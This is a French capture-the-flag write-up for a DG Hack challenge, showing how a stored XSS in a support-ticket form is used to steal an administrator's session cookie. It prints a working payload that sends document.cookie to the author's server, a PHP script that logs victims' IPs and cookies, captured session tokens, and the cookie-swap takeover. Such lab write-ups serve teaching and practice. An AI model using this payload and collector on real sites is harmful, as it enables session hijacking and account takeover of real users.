---
# System prepended metadata

title: 'Write up DG Hack: Internal support 1'

---

# Write up DG Hack: Internal support 1



---
# Fonctionnement du site + analyse
C'est une site de support ou un utilisateur peut laisser un ticket suis à un prolbème informatique puis un admin **passe sur la page** quelques secondes après.

Sur le site après avoir essayé des injection SQL+Javascript , on remarque qu'il est possible d'injecter du Javascript dans le formulaire servant à taper le corps du ticket.

![](https://i.imgur.com/hSYNueg.jpg)

 Affiche sur la page du ticket:
 ![](https://i.imgur.com/8feYCr4.jpg)



On remarque également que le site suit l'utilisateur enregistré via un cookie:
![](https://i.imgur.com/5FIWm21.jpg)
(Visible grace à l'extention firefox [Cookie Tab Viewer](https://addons.mozilla.org/fr/firefox/addon/cookie-tab-viewer/))


---


# Résolution
On comprends qui'il va falloir remplacer notre cookie par le cookie de l'admin pour accèder à tout ce qu'il voit. 

### Récupération du cookie (exploitation de la faille XSS)
Pour récupérer le cookie en Javascript dans une variable str2 on peut utiliser:
```
var str2=document.cookie
```
Mais le Javascript ne s'execute que dans le navigateur de l'admin. Il faut donc le forcer à écrire le contenu de la variable str2 quelque part.

Pour cela, on peut forcer le navigateur à envoyer une variable via une méthode GET sur une page php de mon serveur, qui va écrire le contenu de la vabiable dans une fichier texte.

Pour rediriger l'admin vers mon site voici le code utilisé:
```
<iframe id="trol"
    title="Inline Frame Example"
    width="300"
    height="200"
    src="http://www.monsite.com/recupost.php?session=dspfqsopkl">
</iframe>
<script>
	var str1='http://www.monsite.com/recupost.php?session=';
	var str2=document.cookie;
	

	var x = document.getElementById("trol")
	x.setAttribute("src", str1.concat(encodeURI(str2)));
</script>


```
La première partie (*iframe*) crée une sous fenêtre vers mon script php sur mon site avec un ID=trol. La deuxième partie (*script*) change l'url (le parametre "src" de l'élément avec l'ID=trol) par http://www.monsite.com/recupost.php?session=CookieDeCeluiQuiPasseSurLaPage

L'*iframe* devient donc:
```
<iframe id="trol"
    title="Inline Frame Example"
    width="300"
    height="200"
    src="http://www.monsite.com/recupost.php?session=CookieDeCeluiQuiPasseSurLaPage">
</iframe>
```

Sur mon site, voici le contenu de recupost.php:
```
<?php
  $res= $_GET['session'];
  
  echo "voici la transmission:
  ".$res;
  $fp = fopen('data.txt', 'a');
	fwrite($fp, 'IP:');
	fwrite($fp, $_SERVER['REMOTE_ADDR']);
	fwrite($fp, '
	');
	fwrite($fp, $res);
	fwrite($fp, '-------------------------
	');
	fclose($fp);
?>
```
Ca écrit l'IP puis le Cookie dans data.txt.
Plus qu'à attendre que l'admin passe sur la page du ticket pour y répondre, et hop on voit dans http://www.monsite.com/data.txt:
```
IP:92.289.300.12
	session=.eJwljktuwzAMRK8iaB0Uoj6WlFN0XwQGRZGxUTcuLGcV5O4l0BUxnEfOvOwsG46Fh71-vaw5ddgfHgPvbC_2c2McbLb9btaHOXeDRGqac1mH-VXmw97et4s-OXgs9noeT1a1dnu10aNMHiNyQWEIrjO5FAJyDr0QpOAlAzGSAx8xpx6KS4zYiGoAV0SgNqwdWW9drwhZHBasHhnBS8tKU8pOvDh1Umg5AvvqoyYGrT8_Bx__bbxKGofM5_7ND11QU6ZNU8EpNqDoJsHge5NcwLWAkbrvNYF9_wEM91hC.X8O6lw.MYjhiKSZiP-0O7S--qEtTjI_JS8-------------------------
	-
	IP:46.30.202.223
	session=.eJwljsFqAzEMRH_F-ByKvJbkdb4i9xKCbEvZpWlS1ptTyL_XpafhzQzDvPzFbtIX7f74-fJuH-K_tXe5qj_4002lq7s9rm69u_3hpNYRun1Zu_sZnQ9_fp8PY2TTvvjjvj110Nr80edKsRTM1AKHJDqlYLMkiZygIgJyyMZgktNMjQIma2zcZq5JMYFARDWjaZ7mOheSltgyWxDToJxjVhOEiQibZEkJQxQ2KlSAS6Nx__Lsuv2_CQNr3-yyP770_mckwcDKMAG0GqsQssZMYIUpQqbIiATZv38B1QBU8Q.X8O95w.nmnwrTxg04nGBBozeS_iYwarRXA
```
Le premier est mon IP+mon cookie quand j'ai soumi le ticket, le deuxième est le Cookie de l'admin.

Plus qu'à utiliser l'extention Firefox [Cookie Quick manager](https://addons.mozilla.org/fr/firefox/addon/cookie-quick-manager/) pour changer mon cookie:

![](https://i.imgur.com/wIRaIlz.jpg)


Et a rafraichir la page et voilà, on voit ce que voit l'admin:

![](https://i.imgur.com/eISP9s1.jpg)

Le flag est **NoUserValidationIsADangerousPractice**

Write up par Shurex/CTP


